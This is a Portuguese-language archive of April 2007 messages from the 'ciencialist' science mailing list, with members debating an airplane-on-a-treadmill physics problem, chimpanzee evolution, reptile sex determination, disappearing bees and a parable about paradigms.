> inércia,
> > resiste à mudança de movimento até que lhe seja aplicada uma força
> > resultante não nula. [ ... ] [ NÃO, José Renato, não existe atrito nos
> > rolamentos da roda. Você pode girá-la sem transmitir forças para o
> avião.
> > Esse foi seu próprio
> > pressuposto no caso 1. ]
> > .................................................
> >
> > Caro, José Carlos, finalmente a luz! Vc está considerando que *não há
> > atrito* entre o avião e a esteira. Mas essa premissa foi inserida pelo
> > Tanaka e Homero em comentários posteriores. No problema original não
> se fala
> > em atrito, muito menos em atrito zero. Peço verificar que nas minhas
> > explicações que não há indicação de atrito zero. O problema não
> menciona
> > isso. Considero o atrito normal de rolamentos. Vc entrou no bonde
> andando e
> > ficou perdido no problema. Mas acredito que agora, após sua
> reavaliação do
> > problema, chegaremos a um consenso.
> >
> > Abraços
> > José Renato
> > ...................................................
> >
> >
> > From: "José Carlos Antonio" <profjc2003@>
> > To: <ciencialist@yahoogrupos.com.br>
> > Sent: Monday, April 16, 2007 11:08 PM
> > Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to
> entendendo nada
> >
> >
> > Comento seus comentários deixando espaços entre o texto...
> >
> > --- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@> escreveu
> > >
> > > Olá, José Carlos! Faço comentários no corpo do e-mail abaixo, após
> > JR1 -,
> > > OK?
> > > Marquei meus comentários anteriores com JR - , sem o índice 1.
> > > ................................................
> > >
> > > From: "José Carlos Antonio" <profjc2003@To:
> > <ciencialist@yahoogrupos.com.br>
> > > Sent: Sunday, April 15, 2007 3:53 AM
> > > Subject: Rw: [ciencialist] P/ JC - Re: Balanço do avião - Não to
> > entendendo
> > > nada
> > >
> > >
> > > Olá José Renato,
> > >
> > > Acredito que sua dúvida seja relevante e talvez se deva a alguns
> > > problemas na sua formação básica em Física. Assim, vou tentar ajudar
> > > no que for possível e rezarei para que seus vícios de
aprendizagem não
> > > sejam maiores que minha didática. Então vamos lá... (Por partes)
> > > JR1 - O objetivo não é inferir quem tem problemas de formação
> básica em
> > > Física. Isso é irrelevante. Serve apenas para o inferidor se sentir
> > melhor
> > > em relação à sua falta de entendimento ao esquema apresentado.
> >
> >
> > Esse pode não ser o seu objetivo, mas é o meu. Pode não ter relevância
> > para você, mas para mim é a única coisa relevante de fato. :)
> >
> > Esqueceu-se que sou professor? Professores ganham a vida e perdem
> > minutos preciosos que poderiam dedicar a seus próprios filhos na árdua
> > luta de tentar facilitar a aprendizagem dos outros. Às vezes em troca
> > de desaforos, mas também é possível ganhar algum dinheiro. :)
>
> ( apaguei o restante )
>




SUBJECT: A evolução dos chimpanzés
FROM: Manuel Bulcão <manuelbulcao@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 21/04/2007 02:46

Oi,

No G1, li a notícia de que geneticistas haviam concluído que os
chimpanzés são mais evoluídos que nós, seres humanos. Interessante.
Pelo menos, a pesquisa desses geneticistas reabre a questão: o que é
mesmo evolução? Segue o artigo:

Os cientistas acabam de desferir um novo golpe contra o orgulho da
espécie humana, que já não andava mesmo muito bem das pernas. Uma
comparação genética abrangente entre o DNA do Homo sapiens e o dos
chimpanzés (Pan troglodytes) sugere que quem evoluiu mais nos últimos
milhões de anos foram eles, e não nós.

É bom esclarecer desde que o começo que a avaliação se refere a
transformações no material genético de ambas as espécies -- não tem
nenhuma ligação com aspectos morais ou sociais que as pessoas às
vezes associam à idéia de evolução.

Mesmo assim, a maioria dos cientistas considera que uma coisa é
diretamente relevante para explicar a outra. Afinal, chimpanzés não
falam nem constroem naves espaciais. Acreditava-se que esse abismo
entre nós e eles poderia ser explicado por um conjunto de genes que
se transformou rapidamente nos humanos -- evoluiu, portanto -- desde
que nos separamos do ancestral comum que nos unia aos chimpanzés há
cerca de 6 milhões de anos.

A história parecia fazer todo o sentido; afinal, entre todos os
grandes macacos (que incluem, além de humanos e chimpanzés, os
gorilas e os orangotangos), o homem é o que mais parece ter mudado ao
longo do tempo. Mas, parafraseando Garrincha, faltou combinar isso
com os macacos. É o que indica a análise feita por Margaret Bakewell,
Peng Shi e Jianzhi Zhang, da Universidade de Michigan em Ann Arbor
(EUA), na última edição da revista científica "PNAS". O cálculo do
trio indica que a evolução dos chimpanzés foi cerca de 50% mais veloz
que a humana nesses 6 milhões de anos.

Mudanças para valer
Para chegar a esse número, os pesquisadores fizeram basicamente um
trabalho comparativo: puseram lado o genoma de humanos, chimpanzés e
macacos resos, parentes relativamente próximos dos grandes macacos
que teriam se separado da nossa linhagem há 25 milhões de anos.

Por ser um primo nem tão próximo e nem tão distante, o macaco reso é
fundamental nessa história, pois funciona como termo de comparação
para saber quando, ao longo da evolução, certas mudanças aconteceram
na linhagem humana.

Suponha, por exemplo, que uma mutação apareça tanto em humanos quanto
em chimpanzés, mas não entre resos: o mais provável, nesse caso, é
que ela tenha surgido após a separação da dupla humano-chimpanzé, mas
antes que esses dois se separassem. Já uma característica genética
compartilhada por resos e humanos, mas não por chimpanzés,
provavelmente indica que quem mudou ao longo do tempo foram os
chimpanzés (e não humanos e resos independentemente). E tudo isso
acaba sugerindo quais são os traços genéticos únicos de cada espécie.

No caso, após esse trabalho comparativo, os pesquisadores examinaram
14 mil genes de cada espécie, em busca de mudanças que poderiam ter
sido favoráveis para a sobrevivência delas. Uma das "assinaturas"
desse tipo de mudança é o fato de que uma dada alteração num trecho
de DNA se reflita também numa alteração da proteína cuja receita está
contida naquele gene. Isso é importante porque os genes não "fazem"
nada no organismo: eles apenas contêm as instruções para a produção
das proteínas, essas sim as verdadeiras responsáveis por fazer a
coisa andar. Assim, se a proteína mudou (algumas alterações genéticas
podem deixá-la inalterada), é sinal de aquele gene está sob impacto
da seleção natural, o principal motor da evolução.

E foi olhando para essas alterações que o trio de pesquisadores
identificou 154 genes humanos que estavam sob pressão positiva da
seleção natural (ou seja, estavam mudando como resultado de sua
importância para a sobrevivência), enquanto 233 genes de chimpanzés
passavam pela mesma situação. E o curioso é que são genes
aparentemente "discretos" -- ligados a fatores sutis, como o
metabolismo das células.

No caso dos genes altamente "evoluídos" entre humanos, não aparece
haver nenhum particularmente ligado ao nosso cérebro avantajado.
Portanto, o mistério a respeito das mudanças genéticas que nos
tornaram verdadeiramente humanos continua.
______________

[]s
Manuel Bulcão



SUBJECT: Stalin e seu exército de símios
FROM: Manuel Bulcão <manuelbulcao@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 21/04/2007 03:17

Oi,

Tentei acessar o artigo abaixo mas não consegui, é só para assinantes.

O tema é interessante: o lamarckista Stalin teria tentado, através de
inseminação artificial, criar uma raça híbrida de humanos e
chimpanzés. O objetivo dele era criar o soldado ideal: muito mais
forte que um homem comum, inteligente o suficiente para manejar
armas, porém não ao ponto de questionar idéias.

Parece discurso de anticomunista empedernido. Entretanto, há indícios
de que isso ocorreu mesmo.

Se alguém tiver mais informações sobre esse assunto, por favor me
enviem, em PVT ou para a C-List.

O artigo mencionado é o seguinte: "Beyond Species: Il'ya Ivanov and
His Experiments on Cross-Breeding Humans with Anthropoid Apes", da
antropóloga russa Kirill Rossiianov, publicado na Science in Context
(2002), 15: 277-316 Cambridge University Press.

[]s
Manuel Bulcão



SUBJECT: Chamada para Trabalhos
FROM: "Luis" <luis.alcides@he.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 21/04/2007 10:01

Ilustres colegas

Convidamos os pesquisadores que quiserem enviar
artigos para a oitava edição do Periódico Tchê Química a enviar seus
trabalhos para o nosso endereço de e-mail <tchequimica @ tchequimica.com>.

Instruções detalhadas e modelo para o envio de artigos estão
disponíveis no novo site da revista, http://www.periodico.tchequimica.com.

Também é possível copiar as instruções diretamente pelos links:

Modelo de arquivo para submissão no formato .doc (MS-Office):
http://www.deboni.he.com.br/Revista_solo/modelo.doc

Modelo de arquivo para submissão no formato .odt (BROffice):
http://www.deboni.he.com.br/Revista_solo/modelo.odt

Modelo de arquivo para submissão no formato .pdf
http://www.deboni.he.com.br/Revista_solo/modelo.pdf

Gratos pela atenção e pela participação de todos.

Grupo Tchê Química.




SUBJECT: RE: [ciencialist] A evolução dos chimpanzés
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 21/04/2007 12:51

Oi, pra vc também, Bulcão!
Pode ser que os humanos, comparativamente aos chimpas, estejam num patamar
evolutivo, ou seja, sem grandes solicitações.
abr/M.


>From: Manuel Bulcão <manuelbulcao@uol.com.br>
>Reply-To: ciencialist@yahoogrupos.com.br
>To: ciencialist@yahoogrupos.com.br
>Subject: [ciencialist] A evolução dos chimpanzés
>Date: Sat, 21 Apr 2007 05:46:56 -0000
>
>Oi,
>
>No G1, li a notícia de que geneticistas haviam concluído que os
>chimpanzés são mais evoluídos que nós, seres humanos. Interessante.
>Pelo menos, a pesquisa desses geneticistas reabre a questão: o que é
>mesmo evolução? Segue o artigo:
>
>Os cientistas acabam de desferir um novo golpe contra o orgulho da
>espécie humana, que já não andava mesmo muito bem das pernas. Uma
>comparação genética abrangente entre o DNA do Homo sapiens e o dos
>chimpanzés (Pan troglodytes) sugere que quem evoluiu mais nos últimos
>milhões de anos foram eles, e não nós.
>
>É bom esclarecer desde que o começo que a avaliação se refere a
>transformações no material genético de ambas as espécies -- não tem
>nenhuma ligação com aspectos morais ou sociais que as pessoas às
>vezes associam à idéia de evolução.
>
>Mesmo assim, a maioria dos cientistas considera que uma coisa é
>diretamente relevante para explicar a outra. Afinal, chimpanzés não
>falam nem constroem naves espaciais. Acreditava-se que esse abismo
>entre nós e eles poderia ser explicado por um conjunto de genes que
>se transformou rapidamente nos humanos -- evoluiu, portanto -- desde
>que nos separamos do ancestral comum que nos unia aos chimpanzés há
>cerca de 6 milhões de anos.
>
>A história parecia fazer todo o sentido; afinal, entre todos os
>grandes macacos (que incluem, além de humanos e chimpanzés, os
>gorilas e os orangotangos), o homem é o que mais parece ter mudado ao
>longo do tempo. Mas, parafraseando Garrincha, faltou combinar isso
>com os macacos. É o que indica a análise feita por Margaret Bakewell,
>Peng Shi e Jianzhi Zhang, da Universidade de Michigan em Ann Arbor
>(EUA), na última edição da revista científica "PNAS". O cálculo do
>trio indica que a evolução dos chimpanzés foi cerca de 50% mais veloz
>que a humana nesses 6 milhões de anos.
>
>Mudanças para valer
>Para chegar a esse número, os pesquisadores fizeram basicamente um
>trabalho comparativo: puseram lado o genoma de humanos, chimpanzés e
>macacos resos, parentes relativamente próximos dos grandes macacos
>que teriam se separado da nossa linhagem há 25 milhões de anos.
>
>Por ser um primo nem tão próximo e nem tão distante, o macaco reso é
>fundamental nessa história, pois funciona como termo de comparação
>para saber quando, ao longo da evolução, certas mudanças aconteceram
>na linhagem humana.
>
>Suponha, por exemplo, que uma mutação apareça tanto em humanos quanto
>em chimpanzés, mas não entre resos: o mais provável, nesse caso, é
>que ela tenha surgido após a separação da dupla humano-chimpanzé, mas
>antes que esses dois se separassem. Já uma característica genética
>compartilhada por resos e humanos, mas não por chimpanzés,
>provavelmente indica que quem mudou ao longo do tempo foram os
>chimpanzés (e não humanos e resos independentemente). E tudo isso
>acaba sugerindo quais são os traços genéticos únicos de cada espécie.
>
>No caso, após esse trabalho comparativo, os pesquisadores examinaram
>14 mil genes de cada espécie, em busca de mudanças que poderiam ter
>sido favoráveis para a sobrevivência delas. Uma das "assinaturas"
>desse tipo de mudança é o fato de que uma dada alteração num trecho
>de DNA se reflita também numa alteração da proteína cuja receita está
>contida naquele gene. Isso é importante porque os genes não "fazem"
>nada no organismo: eles apenas contêm as instruções para a produção
>das proteínas, essas sim as verdadeiras responsáveis por fazer a
>coisa andar. Assim, se a proteína mudou (algumas alterações genéticas
>podem deixá-la inalterada), é sinal de aquele gene está sob impacto
>da seleção natural, o principal motor da evolução.
>
>E foi olhando para essas alterações que o trio de pesquisadores
>identificou 154 genes humanos que estavam sob pressão positiva da
>seleção natural (ou seja, estavam mudando como resultado de sua
>importância para a sobrevivência), enquanto 233 genes de chimpanzés
>passavam pela mesma situação. E o curioso é que são genes
>aparentemente "discretos" -- ligados a fatores sutis, como o
>metabolismo das células.
>
>No caso dos genes altamente "evoluídos" entre humanos, não aparece
>haver nenhum particularmente ligado ao nosso cérebro avantajado.
>Portanto, o mistério a respeito das mudanças genéticas que nos
>tornaram verdadeiramente humanos continua.
>______________
>
>[]s
>Manuel Bulcão
>
>
>
>##### ##### #####
>
>Página de apoio
>http://www.ciencialist.com
>
>
>##### ##### ##### #####
>Links do Yahoo! Grupos
>
>




SUBJECT: Re: [ciencialist] Re: Termodinâmica e a seta do tempo
FROM: "Luis Brudna" <luisbrudna@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 21/04/2007 17:30

:-)
Quase tinha esquecido da resposta.

Ando meio com preguica de filosofar. hehe
Nao tenho conhecimento para continuar o debate. Eu teria que saber
mais sobre historia e sociologia... nem quimica eu sei! :-)

Obrigado pela mensagem.

Ateh
Luis Brudna


On 4/5/07, Manuel Bulcão <manuelbulcao@uol.com.br> wrote:
>
>
> Salve, Brudna!
>
> Senti-me muito lisonjeado com a sua resposta. Afinal, a última vez em
> que você remeteu uma mensagem parecida com esta última - com mais de
> cinco linhas - para a C-List (a lista em que vc é o manda-chuva-mor)
> foi em 1999, se não me engano.
>
> Espero que vc continue assim: prolixo.
>
> Brudna: Nao sei se os humanos tem tanta facilidade para perceber a
> real dimensao do infinito...
>
> Manuel: Até a eclosão da revolução industrial na Inglaterra, a
> esmagadora maioria das pessoas nasciam e se desenvolviam no seio de
> uma comunidade cristã, judaica, muçulmana, hindú, budista, taoísta,
> xintoísta, animista etc.
>
> De modo que, "pari passu" ao desenvolvimento do sistema nervoso e à
> medida em que surgiam as pertuntas, as respostas já estavam prontas.
> Ora, as impressões que tais respostas religiosas deixam num sistema
> nervoso imaturo e em desenvolvimento é, sem sombra de dúvidas,
> decisivo.
>
> Como esses sistemas de crença, incutidos já na primeira infância e ao
> tempo em que as indagações vão surgindo, conferem à vida do indivíduo
> uma razão-de-ser, um sentido, um horizonte, uma (FIM)nalidade, em
> conseqüência disso as pessoas, em regra, não percebiam com
> facilidade "a real dimensão do infinito".
>
> As coisas são diferentes numa sociedade industrial madura, com Estado
> laico consolidado, pluralista há mais de um século e em que a liberal-
> democracia, longe de ser novidade, é tradição.
>
> Nesse novo contexto, é natural que, da educação moral recebida dos
> pais e da escola, o que mais se fixe na memória sejam os preceitos
> mais gerais, como "liberté, égalité, fraternité". Significa dizer que
> a comunidade laica "tende" a incutar nos indivíduos em formação
> apenas as regras atinentes à "moral de convivência", deixando à livre
> decisão individual a escolha dos valores que dizem respeito à moral
> (ou ética) da finalidade.
>
> São esses indivíduos, "atomizados", que cedo ou tarde estarão frente
> a frente com o infinito e, a partir desse contacto, terão que
> desenvolver a sua própria ética dos fins últimos.
>
> Bem, tenho outras coisas para dizer, mas fiquei com preguiça. Fica
> para amanhã.
>
> Abraços,
> Manuel Bulcão
>


SUBJECT: Re: [ciencialist] Re: Calor vence genes e faz macho virar fêmea
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 21/04/2007 18:29

Olá, Homero! Que bom vê-lo restabelecido, atuando em sua "programação
normal", reforçando o velho entendimento de que a manchete não é a notícia.
A manchete é o chamariz do editor ao leitor. Ela revela em primeira mão qual
é a intenção do editor em veicular a notícia. Nesse caso, até que não está
tão mal assim. O redator considerou que o calor fez com que os genes, que
definem normalmente o sexo dessa espécie de lagartos, fossem superados ou
vencidos por um outro grupo de genes menos atuante.
Há distorções piores. Exemplos.
Uma menina nascida há cinco meses com anencefalia se desenvolve em casa sem
auxilio de aparelhos e a manchete é: Menina nascida sem cérebro desafia a
medicina.
Outra sobre a audiência pública ocorrida ontem no STF, que apareceu na UOL:
"Geneticista defende que célula-tronco "é vida, mas não é um ser humano". Na
notícia, após dar destaque ao que o editor desejava, vem um adendo: "A
audiência também contou com a presença da especialista em biologia molecular
Lílian Piñero Eça, integrante do Instituto de Pesquisa com Células-Tronco
(IPCTron). Segundo ela, de duas a três horas após a fecundação o embrião
humano já se comunica com a mãe. A bióloga afirmou que pelo menos 100
neurotransmissores são emitidos para os 75 trilhões de células existentes no
corpo da gestante, que começa a sofrer mudanças hormonais e sentir sintomas
como sono, por exemplo."
Mas essas últimas informações não tiveram qualquer destaque. Vêm após um
trivial complemento: "a audiência também contou..."

Abraços

José Renato
.........................................................

From: "oraculo333" <oraculo@To: <ciencialist@yahoogrupos.com.br>
Sent: Friday, April 20, 2007 12:46 PM
Subject: [ciencialist] Re: Calor vence genes e faz macho virar fêmea


Olá Jose Renato

Nunca é demais lembrar, cuidado com manchetes de divulgação de ciência
(e mesmo com o conteúdo de artigos para leigos), que costumam
"exagerar" na tentativa de criar títulos chamativos, e mesmo distorcer
completamente o artigo original.

Esta manchete é um claro exemplo:

"Calor vence genes e faz macho virar fêmea"

O calor, parte do processo que já existe nos répteis em sua formação,
não "venceu" os genes, mas ativou outros genes, e estes desativaram os
que normalmente definiriam o sexo.

A chamada interação gene/ambiente sempre usa, como o nome indica,
genes, em todo processo.

Se os genes que desativam outros genes, a partir do calor ambiente,
não estivessem presentes, isso não seria possível (mamíferos, por
exemplo, não mudam com o calor..:-).

Um abraço.

Homero


--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
>
> G1 - CIÊNCIA E SAÚDE / Zoologia
> 19/04/2007 - 17h20 - Atualizado em 19/04/2007 - 18h58
>
> Calor vence genes e faz macho virar fêmea
> Embora sexo de lagarto seja determinado geneticamente, temperatura
altera isso.
> Achado pode ter implicações para sobrevivência de lagartos com
aquecimento global.
> Reinaldo José Lopes Do G1, em São Paulo
>
> Divulgação
> Lagarto-dragão: machos viram fêmeas no calor. (Foto: Divulgação)
> a.. » Corrida de tartarugas será rastreada na web
> b.. » Patas de lagartos mostram rapidez da seleção natural
> c.. » Brasil ganha duas novas espécies de lagarto
> Mudar de sexo não é nem um pouco complicado se você for um embrião
de lagarto-barbado (Pogona vitticeps), um réptil nativo da Austrália.
Tal como nós, os bichos já são concebidos com um sexo geneticamente
definido, mas uma mudança de temperatura pode levar seu organismo a
ignorar a programação de DNA e virar outra coisa ao longo do
desenvolvimento -- mais especificamente, supostos machos acabam
nascendo fêmeas.
>
> Esse flexibilidade sexual bizarra está sendo elucidada na edição
desta semana da revista americana "Science", numa pesquisa feita por
cientistas da Universidade de Canberra e da Universidade Nacional
Australiana. Além de mostrar que a determinação do sexo é, em muitas
espécies, bem mais complicada do que sonha a nossa vã divisão entre
mulheres com dois cromossomos X e homens com cromossomos X e Y, o
estudo também é um alerta.
>
> "Uma preocupação importante é que o aquecimento global poderia
causar desequilíbrios pesados entre os sexos em várias espécies de
réptil, levando a quedas bruscas nas populações e, potencialmente, a
extinções. É óbvio que essas espécies passaram por muitas flutuações
de temperatura ao longo de sua história, mas pode ser que o atual
ritmo da mudança climática seja rápido demais para que elas consigam
se adaptar", declarou ao G1 o estudante de doutorado Alex Quinn, do
Instituto de Ecologia Aplicada da Universidade de Canberra.
>
> Quinn é o autor principal do estudo na "Science", ao lado de colegas
do Grupo de Genômica Comparativa da Universidade Nacional Australiana.
>
>
> Esse aqui é outro
> Répteis que mudam de sexo com mais ou menos calor durante a
incubação dos ovos não são exatamente uma novidade. Várias espécies de
tartaruga fazem isso. Por outro lado, outros possuem cromossomos
sexuais definidos, como os nossos. A diferença é que, no sistema
reptiliano, os machos é que tem dois cromossomos iguais -- os chamados
ZZ -- enquanto as fêmeas são ZW. Algo parecido acontece também com as
aves.
>
> Mas ninguém nunca tinha flagrado um sistema duplo, no qual tanto a
temperatura quanto a bagagem genética interagissem. No estudo com o
dragão-barbado, os pesquisadores viram que, em temperaturas médias --
de 22 graus Celsius a 32 graus Celsius --, a proporção de nascidos de
cada sexo era constante, por volta de 50% para cada. No entanto, acima
de 34 graus Celsius, havia um desequilíbrio crescente, que se
refletiu, em uma das ninhadas, no nascimento de 33 fêmeas contra
apenas dois machos.
>
> Temos, portanto, um mistério. Ao que tudo indica, o cromossomo W
está a caminho de se tornar desnecessário no DNA da espécie. "Pode ser
que ele ainda compartilhe muitos genes com seu parceiro Z, mas parte
dele provavelmente está se diferenciando, tornando-se DNA-lixo [sem
função aparente na célula]", afirma Quinn. Pode ser que os machos que
viraram fêmeas sejam estéreis -- eles ainda não chegaram à idade
adulta --, mas estudos parecidos com peixes e salamandras indicam que
a reversão não elimina a fertilidade, segundo o pesquisador australiano.
>
> O mais interessante disso tudo, diz ele, é que o achado sugere que a
flutuação entre os dois sistemas de definir o sexo -- pela temperatura
ou pelo DNA -- pode ser muito comum ao longo da evolução das espécies,
acontecendo com relativa facilidade, envolvendo poucos genes. Se, por
um lado, trata-se de uma visão intrigante sobre como o sexo evolui
entre os animais, pode significar também que uma quantidade muito
maior de espécies de répteis está sob risco de ficar sem parceiros com
o aquecimento global.
>
> < http://g1.globo.com/Noticias/Ciencia/0,,MUL24137-5603-1853,00.html >
>
>
> [As partes desta mensagem que não continham texto foram removidas]
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SUBJECT: Re: [ciencialist] COMO NASCE UM PARADIGMA
FROM: Bruna Carolina Ribas <brunacribas@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 21/04/2007 19:15

Não tinha haver com as ondas eletromagnéticas?

José Renato <jrma@terra.com.br> escreveu: Isso está ocorrendo com maior intensidade no Reino Unido - UK. Os estudos
apontam para o uso intensivo de defensivos agrícolas. O desequilíbrio
provocado pela falta de polinização realizado pelas abelhas vão afetar cada
vez mais a agricultura. Duas espécies nativas de lá estão em risco de
extinção.
[]s
JR
.............................................
----- Original Message -----
From: "Silvio Cordeiro" <scordeiroes@superig.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, April 17, 2007 11:33 AM
Subject: Re: [ciencialist] COMO NASCE UM PARADIGMA

Renato:
Mas o atual caso das abelhas é único: nos #UA milhares de apicultores
perderam seus enxames e, o mais curioso, não os encontraram em lugar nenhum:
simplesmente desapareceram.
Nem cadáveres foram encontrados em amplo estudo feito pois o prejuizo
econômico e renda familiar é muito grande.

Obviamente que em terminado momento deverão explicar o sumiço.

sds.,
silvio.
----- Original Message -----
From: José Renato
To: ciencialist@yahoogrupos.com.br
Sent: Sunday, April 15, 2007 12:45 PM
Subject: Re: [ciencialist] COMO NASCE UM PARADIGMA

Silvio, abelhas vivem de mata e flores...
Há uma experiência interessante feito com ostras. Elas abrem de acordo com
a
maré. Colocadas em tanques no meio dos Estados Unidos. Surpreendentemente,
elas continuaram a abrir com o movimento da maré *naquele lugar*, conforme
o
movimento da Lua!
[]s
José Renato
........................................

From: "Silvio Cordeiro" <scordeiroes@superig.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Friday, April 13, 2007 9:52 PM
Subject: Re: [ciencialist] COMO NASCE UM PARADIGMA

Álvaro: essa história, resíduo das esperiências de Pavlov, são descritas

mais de 30 anos em palestras de psicólogos: o curioso é que ao longo do
tempo, se outras foram feitas, não vieram a público....
As experiências que a marinha americana faz com golfinhos e com
cefalópodes
são mantidas em absoluto sigilo: eles já são treinados para colocar uma
granada no casco de um submarino cujo som lhes é passado pelo controle do
sonar de de um navio... isso é o que se sabe....
Russos e americanos têm uma quantidade absurda de experiências com
animais,
guardadas como segredo pois são peças importantes em qualquer necessidade
militar.

E impressionante: gostaria de saber se algum listeiro tem alguma notícia
do
que acontece com nossas abelhas: estão desaparecendo aos milhares....

sds.,

silvio.
----- Original Message -----
From: Alvaro Augusto (L)
To: ciencialist@yahoogrupos.com.br
Sent: Wednesday, April 11, 2007 1:42 PM
Subject: Re: [ciencialist] COMO NASCE UM PARADIGMA

Essa é realmente velha, mas cabem as perguntas de sempre:

- Quais os nomes dos pesquisadores?
- Em que instituição foram realizados os experimentos?
- Houve grupo de controle?
- Os experimentos puderam ser reproduzidos com sucesso por um grupo de
pesquisadores independentes?
- Os resultados foram publicados em um periódico peer-reviewed?

Sem tais respostas, podemos concluir que o autor anônimo está apenas
tentando estabelecer mais um paradigma: o paradigma de que os paradigmas
podem ser estabelecidos sem que as pessoas verifiquem se o experimento
alegado realmente existiu.

E que a alma de Thomas Kuhn descance em paz...

[ ]s

Alvaro Augusto

----- Original Message -----
From: "murilo filo" <avalanchedrive@hotmail.com>
To: <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, April 10, 2007 10:34 PM
Subject: [ciencialist] COMO NASCE UM PARADIGMA

( essa é velha, mas é muito boa. um pequeno tema p/sua meditação...
quem são os que matam os paradigmas?)

>COMO NASCE UM PARADIGMA
>
>
>Um grupo de cientistas colocou cinco macacos numa jaula, em cujo centro
>puseram uma escada e, sobre ela, um cacho de bananas.
>Quando um macaco subia a escada para apanhar as bananas, os cientistas
>lançavam um jato de água fria nos que estavam no chão.
>Depois de certo tempo, quando um macaco ia subir a escada, os outros
>enchiam-no de porradas.
>Passado mais algum tempo, nenhum macaco subia mais a escada, apesar da
>tentação das bananas.
>Então, os cientistas substituíram um dos cinco macacos.
>A primeira coisa que ele fez foi subir a escada, dela sendo rapidamente
>retirado pelos outros, que o encheram de porradas, antes que recebessem o
>jato de água fria.
>Depois de algumas surras, o novo integrante do grupo não mais subia a
>escada.
>Um segundo foi substituído, e o mesmo ocorreu, tendo o primeiro
substituto
> participado, com entusiasmo, da surra ao novato.
>Um terceiro foi trocado, e repetiu-se o fato. Um quarto e, finalmente,o
>último dos veteranos foi substituído.
>Os cientistas ficaram, então, com um grupo de cinco macacos que, mesmo
>nunca tendo tomado um banho frio, continuavam batendo naquele que
tentasse
>chegar às bananas.
>Se fosse possível perguntar a algum deles porque batiam em quem tentasse
>subir a escada, com certeza a resposta seria: "Não sei, as coisas sempre
>foram assim por aqui..."
>
>Conte esta história para seus amigos, para que, vez por outra,
>questionem-se porque estão batendo...
>
>"É MAIS FÁCIL DESINTEGRAR UM ÁTOMO DO QUE UM PRECONCEITO".
> ( Albert Einstein )
>
>
>Sds,
>Edenilson Araújo
>

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SUBJECT: Re: [ciencialist] P/ JC - Re: Balanço do avião - Não to entendendo nada
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 21/04/2007 23:59

Olá, José Carlos! Volto a repetir que o problema não foi postado por mim na
lista. Apenas refleti com base no enunciado apresentado o qual, apesar de
sucinto, contém todos os dados necessários para que o leitor desenvolva o
raciocínio e apresente sua resposta.

É comum escolhermos apenas uma opção que nos parece correta e esquecemos que
nem sempre as escolhas ou soluções únicas ou excludentes do tipo um *ou*
outro, mas sim, do tipo um *e* outro. Um dos erros cometidos mais repetidos
ocorre quando a solução depende de uma raiz quadrada com dois valores para
xis. No caso do avião-esteira, a depender do posicionamento do ponto
referencial para efetuar a medida da velocidade do avião, ele voa ou não
voa.

Lembro que para consultar o enunciado original não é preciso "revirar a
lista", basta fazer uma rápida busca. Homero foi buscar o debate já ocorrido
há cerca de dois anos e verificou que apenas eu afirmava que o avião não
voa. Pegue uma dicas com ele e vc vai ver que não é bicho-de-sete-cabeças.

Se vc quiser ficar voando na questão ficamos por aqui...

Se não, pode refletir com o enunciado original que colo abaixo.

>>>>> Um avião está estacionado em uma pista móvel (como se fosse uma
> esteira rolante). O avião se move em uma direção, e a esteira na
> direção oposta. A esteira tem um sistema de controle que acompanha a
> velocidade do avião e faz com que a esteira tenha exatamente a
> mesma velocidade dele, na direção oposta. A pergunta é: o avião
> vai conseguir decolar?<<<<<

Está claro que o redator usa indevidamente o termo direção no lugar de
sentido, como Luiz observou em um dos e-mails, mas isso é o de menos e não
impede de avaliar a questão.

Abraços

José Renato
.................................................

From: "José Carlos Antonio" <profjc2003@To: <ciencialist@yahoogrupos.com.br>
Sent: Saturday, April 21, 2007 1:28 AM
Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to entendendo nada


Olá José Renato,

Sinto muito se o decepcionei, só estava tentando ajudar. Não sei qual
é a seu problema original (juro que pensei que era o que estávamos
resolvendo juntos) e nem como você considera ou não a ação do atrito
importante para ele (como já lhe disse, não entendi como você formulou
isso). Sinto muito por não poder revirar a lista em busca dessa
informação, mas creio que você me parece suficientemente convencido de
que SEU avião NÃO VOA por causa da esteira. Bom, O MEU VOA. :)

Então ficamos assim: foi um prazer.

Abraços,
JC


--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
>
> José Carlos, não me considero brilhante, nem "esperto", como
Ptolomeu. Mesmo
> assim, peço que obtenha o enunciado original do problema no arquivo da
> lista, de modo que vc constate que não fica bem insinuar que seu
colega está
> usando de desfaçatez. Entretanto, todos os meus dois neurônios estão
atentos
> à elas. Desse modo, não aceito seu convite para redigir aqui o
enunciado
> original do problema, pois isso daria impressão a todos de que eu estou
> apresentado um *novo* problema, com dados diferentes do original, o que
> justificaria a falta de percepção suficiente para os listeiros
acharem a
> resposta que apresentei.
>
> []s
>
> José Renato
> ................................................
>
> From: "José Carlos Antonio" <profjc2003@To:
<ciencialist@yahoogrupos.com.br>
> Sent: Wednesday, April 18, 2007 2:07 AM
> Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to
entendendo nada
>
>
> :)))
>
> José Renato,
>
> Ptolomeu era um cara brilhante e inventou epiciclos e deferentes para
> tentar salvar o modelo geocêntrico de mundo (que andava capengando
> feito esse problema do avião), mas não deu certo. :)
>
> Já que você quer resolver um problema que parece que se modificou ao
> longo da nossa conversa, melhor seria então você propor o problema no
> original (eu lhe pedi isso no início da NOSSA conversa, caso tenha se
> esquecido) e com TODOS os detalhes que você acha pertinentes.
>
> De qualquer forma, já fica então estabelecido que desprezando-se o
> atrito nos rolamentos das rodas (e note que eu não disse ENTRE AS
> RODAS E A PISTA) o avião voa independentemente do movimento da
> esteira, ok?
>
> Aguardo seu "novo" problema, com todos os detalhes pertinentes. Não se
